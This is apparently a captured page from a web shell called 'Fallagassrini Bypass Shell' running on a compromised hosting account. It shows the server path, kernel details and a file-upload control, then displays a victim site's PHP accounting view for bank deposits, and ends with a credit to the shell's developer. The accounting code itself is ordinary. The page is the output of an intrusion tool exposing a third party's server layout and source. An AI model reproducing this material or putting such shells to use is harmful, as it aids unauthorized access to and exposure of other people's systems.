? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/sibs_draft/system/application/views/Accounting/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/sibs_draft/system/application/views/Accounting/add_bankdeposit.php

<?php if (!defined('BASEPATH')) exit('No direct script access allowed'); ?>
<script type="text/javascript" src="<?= base_url() ?>/assets/js/autonumeric.js"></script>
<style>
    .newcls
    {
        border:none;
        background-color: #fff;
        width:185px;
    }
</style>
<script>
    jQuery(document).ready(function ()
    {
        $('.one').datepick({dateFormat: 'dd-mm-yyyy'});
        $('.two').datepick({dateFormat:  'dd-mm-yyyy'});
        $('input.auto').autoNumeric();
        checkfiscalyear("begin","mycompany");
        check_tran_code_setting(2);
        suggestaccounts('code');
    });
    
    function suggestaccounts(id)
    {   
        $("#"+id).autocomplete("<?= site_url() ?>/master/autosuggestaccounts/", {
            width: 320,
            selectFirst: false
        });
    }
    Number.prototype.formatMoney = function(c, d, t){
        var n = this, c = isNaN(c = Math.abs(c)) ? 2 : c, d = d == undefined ? "," : d, t = t == undefined ? "." : t, s = n < 0 ? "-" : "", i = parseInt(n = Math.abs(+n || 0).toFixed(c)) + "", j = (j = i.length) > 3 ? j % 3 : 0;
        return s + (j ? i.substr(0, j) + t : "") + i.substr(j).replace(/(\d{3})(?=\d)/g, "$1" + t) + (c ? d + Math.abs(n - i).toFixed(c).slice(2) : "");
    };
       



    function getcode(val,id)
    {
        id='code'+id;
        document.getElementById(id).value=val;
    }


    function parseelement(thisone)
    {
        var wd
        if(isNaN(thisone.value))
        {

            alert('enter a number');
            document.getElementById('amount').value='';
            document.getElementById('amount').focus();
            return false;
        }
        else
        {
            wd="w"
            var tempnum=thisone.value
            for (i=0;i<tempnum.length;i++)
            {
                if (tempnum.charAt(i)==".")
                {
                    wd="d";
                    break;
                }
            }
            if (wd=="w")
                thisone.value=tempnum+".00"
            else
            {

                if (tempnum.charAt(tempnum.length-2)==".")
                {
                    thisone.value=tempnum+"0";
                }
                else if (tempnum.charAt(tempnum.length-3)==".")
                {
                    thisone.value=tempnum;
                }
                else if(tempnum.indexOf('.')=='-1')
                {
                    thisone.value=tempnum+".00";
                }
                else {
                    tempnum=Math.round(tempnum*100)/100
                    thisone.value=tempnum;
                }
            }
        }
    }

    Number.prototype.formatMoney = function(c, d, t){
        var n = this, c = isNaN(c = Math.abs(c)) ? 2 : c, d = d == undefined ? "," : d, t = t == undefined ? "." : t, s = n < 0 ? "-" : "", i = parseInt(n = Math.abs(+n || 0).toFixed(c)) + "", j = (j = i.length) > 3 ? j % 3 : 0;
        return s + (j ? i.substr(0, j) + t : "") + i.substr(j).replace(/(\d{3})(?=\d)/g, "$1" + t) + (c ? d + Math.abs(n - i).toFixed(c).slice(2) : "");
    };



       
    function checknumeric()
    {

        $('input.auto').autoNumeric();
    }
    function showpaymentspan(val)
    {
        document.getElementById('paymentmethod').style.display='none';
        document.getElementById('paymentbankleft').style.display='none';
        if(val=='cheque')
        {
            document.getElementById('paymentmethod').style.display='block';            
        }
        if(val=='bank')
        {
            document.getElementById('paymentbankleft').style.display='block';   
        }
    }
</script>

<div class="select-bar">
    <label>
        <img src="<?= base_url() ?>/assets/images/backbutton.png" title="Back" class="clickimage"  onclick="showunpostbank_dep(1)" alt="Back" align = "center" width="25" height="25"  /></label>

</div>
<div id="temp" style="display:none"></div>
<div id="viewmsg"></div>


<?php
$attributes = array('id' => 'customForm');
echo form_open('accounting/Insertbankpayment', $attributes);
$refcode = "--Auto Generated--";
?>
<fieldset>
    <legend>Bank Account Deposit Entry</legend>
    <fieldset class="bankfieldset4">
        <ul>

            <li>

                <label>To:</label><select name="bankacc" id="bankacc" style="width:140px" >
                    <?php
                    $bankacc = $this->mastermodel->getdatas('bank_accounts');
                    if (count($bankacc)) {
                        foreach ($bankacc as $key => $acc) {
                            echo "<option value='" . $acc['id'] . '~' . $acc['account_code'] . "' >" . $acc['bank_account_name'] . "</option>";
                        }
                    }
                    ?>
                </select><span id="fromInfo" class="red_bold"></span>
            </li>
            <li></li>
        </ul>


    </fieldset>
    <fieldset class="bankfieldset4">
        <ul>


            <li>
                <label>Transaction No:</label> <input type="text" readonly value="<?= $refcode ?>" style="width:125px" onchange="data_exist(this)" name="ref" id="ref"><br/><span id="refInfo" class="red_bold"></span>
                <input type="hidden" value="0" name="refid" >

            </li>
            <li></li>
        </ul>


    </fieldset>
    <fieldset class="bankfieldset4">
        <ul>


            <li>
                <label> Date:</label><input class="one"  style="width:125px" type="text"  value="<?php echo date("d-m-Y"); ?>" readonly="readonly" name="date" id="date"><span id="dateInfo" class="red_bold">&nbsp;</span>

            </li>
            <li></li>
        </ul>


    </fieldset>
    <fieldset class="bankfieldset4">
        <ul>


            <li>
                <label> Payment Method</label><select name="method" id="method" style="width:125px" onchange="showpaymentspan(this.value)" >
                    <option value="cash">Cash</option>
                    <option value="cheque">Cheque</option>
                    <option value="bank">Bank Transfer</option>
                </select>

            </li>
            <li></li>
        </ul>


    </fieldset>

    <br/>
    <span id="paymentbankleft" style="display:none">
        <fieldset class="bankfieldset">
            <ul>
                <li>
                    <label>Bank Info :</label><textarea name="bank_info" id="bank_info" style="width:160px;height: 50px;margin-bottom: 5px;"></textarea>
                </li>
            </ul>
        </fieldset>
    </span>

    <span style="display:none" id="paymentmethod">  
        <fieldset class="bankfieldset">
            <ul>


                <li>
                    <label>Cheque Date:</label> 
                    <input type="text" class="two"  style="width:125px"   value="<?php echo date("d-m-Y"); ?>" readonly="readonly" name="ch_date" id="ch_date"><br/>


                </li>
                <li></li>
            </ul>


        </fieldset>
        <fieldset class="bankfieldset">
            <ul>


                <li>
                    <label>Cheque Drawn :</label>
                    <input style="width:125px" type="text"   name="bankname" id="bankname">

                </li>
                <li></li>
            </ul>


        </fieldset>
        <fieldset class="bankfieldset">
            <ul>


                <li>
                    <label>Cheque No.:</label><input style="width:125px" type="text"   name="ch_no" id="ch_no">

                </li>
                <li></li>
            </ul>


        </fieldset>
    </span>

</fieldset>
<br/><br/>
<input type="hidden" name="bank_trans_type" value="other" id="bank_trans_type"/>
<fieldset><legend>Deposit Items</legend>
    <input type="hidden" name="counter" id="counter"/><!--for validation-->
    <input type="hidden" name="counter_check" id="counter_check"/> <!--- for sending count ot table to model for "for loop" ---->
    <input type="hidden" name="class_ch" id="class_ch"/><!--- for change class for edit-->
    <input type="hidden" name="pay_n_dep" value="2" id="pay_n_dep"/><!--- To know which type of transaction-->
    <table   class="sort" id="adddivx">
        <thead> <tr>
                <th width="30%">Acc code</th>

                <th width="30%">Amount</th>
                <th width="30%">Memo</th>
                <th width="10%"> Action</th>
            </tr>
        </thead>
        <tr id="dvFiles0">
            <td><input style='width:185px;' type="text"  id="code" />
                <input style='width:185px;' type="hidden" id="code_id" />
            </td>

            <td>
                <input style="width:185px" type="text" class="auto"  id="amount" />
            </td>
            <td style="padding-bottom:15px;">
                <textarea id="memo" style='width:170px;height:50px' ></textarea>
            </td>
            <td style="padding-bottom:15px;">
                <img src="<?= base_url() ?>/assets/images/add-icon.png" title="Add New"  class="clickimage" onclick="add_details()" alt="Add New" align = "top" width="25" height="25"  />
            </td>
        </tr>
    </table>
    <div id="adddiv"></div>
    <table  class="sort" >
        <tr><th width="30%" style="text-align: right;"><label>Total</label></th>
            <th colspan="3">
                <input type="hidden" id="sumamount" class="newcls" readonly="readonly"  value="0" name="sumamount"/>
                <input type="text" id="showsumamount" style="width:185px" class="newcls auto" readonly="readonly"  value="0.00" />
            </th>

        </tr>
    </table>
    <div id="adddiv"> </div>

    <br/> <fieldset style="width:100%;text-align:center;border: none;margin: 10px 0 10px 0"><button type="submit" class="clickimage" name="add_pay" onclick="return insertbankpay()" id="button1" >Process Deposit</button>
    </fieldset>
</fieldset>
<?php
echo form_close();
?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net